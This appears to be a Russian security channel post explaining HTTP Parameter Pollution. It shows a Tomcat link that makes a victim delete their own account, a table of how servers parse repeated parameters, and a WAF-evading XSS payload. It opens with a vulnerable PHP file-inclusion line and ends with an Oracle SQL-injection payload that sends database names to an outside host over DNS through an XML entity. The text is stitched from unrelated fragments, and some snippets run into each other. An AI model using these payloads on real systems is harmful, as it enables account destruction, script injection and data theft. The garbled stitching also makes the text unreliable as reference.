Официальный канал https://forum.antichat.ru одного из лучших форумов для специалистов в области IT
<?php include($_GET['file']); ?>Без дополнительных танцев с бубном вокруг сессий, временных файлов, пробросов нагрузки. И в дополнение к райтапу, обзор с дополнительными скриптами для генерации произвольной нагрузки.
🌐 example.com/profile.jsp?client_id=1
Для кнопки "Открыть профиль" устанавливается динамически в ответе от сервера html:
<a href="profile.jsp?client_id=1&action=view
А теперь изменим запрос добавив в него параметр и закодировав разделитель & как %26:
🌐 example.com/profile.jsp?client_id=1%26action%3Ddelete
В результате для кнопки "Открыть профиль" задаётся html:
<a href="profile.jsp?client_id=1&action=delete&action=view
При нажатии на кнопку — профиль пользователя будет удалён. Для того чтобы заставить жертву удалить свой аккаунт, нам нужно отправить ей ссылку и подождать.
Это происходит, потому что Apache Tomcat 🐈 при анализе двух одинаковых параметров (action) берёт значение первого:
&action=delete&action=view
Вот так выглядит код на стороне сервера:
String client_id = request.getParameter("client_id");
GetMethod get = new GetMethod("https://example.com/profile");
get.setQueryString("client_id=" + client_id + "&action=" + action);
href_link=get.URL;
Разработчик должен был учесть такое поведение и проверить возможность внедрения параметра action в client_id
Вообще, приоритет и процесс обработки параметров можно взять из этой таблицы ниже:
Technology/HTTP backend | Parsing Result | Example | --------------------------------------------------------------------- ASP.NET/IIS | All occurrences | par1=val1,val2 | ASP/IIS | All occurrences | par1=val1,val2 | PHP/Apache | Last occurrence | par1=val2 | JSP Servlet/Apache Tomcat | First occurrence | par1=val1 | JSP Servlet/Oracle Application | First occurrence | par1=val1 | IBM HTTP Server | First occurrence | par1=val1 |Так, для Server: Apache Tomcat будет взято значение из первого совпадения
action=delete
А для Server: Apache значение уже будет action=view — последний параметр
Но не все сервера используют приоритет порядка, так, например, ASP.NET/IIS конкатенирует значения. Поэтому в случаях, когда выполнению XSS мешает санитизация или WAF, можно составить следующий payload:
example.com/search?param=<audio/n="¶m="src/onerror=alert()>
В результате на странице html будет <audio n="," src/onerror=alert()> и XSS успешно сработает 💣
Помимо приоритетов, нужно также вспомнить о разделителях для параметров. Существует не только привычный & (амперсанд) и , (запятая) но и ряд других символов, тут нужно обратиться к стандартам и поискать реализации. Если открыть (rfc6570) URI Template можно найти Path-Style Parameter
Обычный URL будет следующим:
example.com/users?role=admin&firstName=N
А теперь преобразуем его в вид Path-Style:
example.com/users;role=admin;firstName=N
Использование в качестве разделителя ; (точки с запятой) не повсеместно. Это приводит к различиям обработки во фреймворках и как следствие к уязвимостям, в частности, на микросервисных архитектурах:
• CVE-2021-23336 — Python библиотека urllib.parse.parse_qsl не игнорирует точку с запятой.
• ParseThru — Go библиотека net/url не игнорирует точку с запятой и выводит предупреждение http: URL query contains semicolon...
Следует помнить, что уязвимость HTTP Parameter Pollution может возникать не только в URL, но и в любой части POST/GET запроса, а также в теле JSON.
{"client_id":4, "client_id":17, "action":"delete"}'||(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ <!ENTITY % jiest SYSTEM "http://'||(select owner from (select owner, rownum as rn from (select DISTINCT owner from all_tables order by owner asc)) where rn=1)||'.server/">%jiest;]>'),'/l') from dual)||'
Но, в случае, если у нас слепая инъекция и у нас есть возможность достучаться до DNS,
получается DNS – Based OOB SQLi. С помощью такого запроса, как выше можно отправить данные, но если нужно много данных из БД отправить, то стандартным запросом не получится, так как в DNS записях не могут быть пробелы,
поэтому пробелы нужно заменить, например, с помощью функции Replace() еще и в Base64 выводить.
Удобная штука при эксплуатации: https://livesql.oracle.com/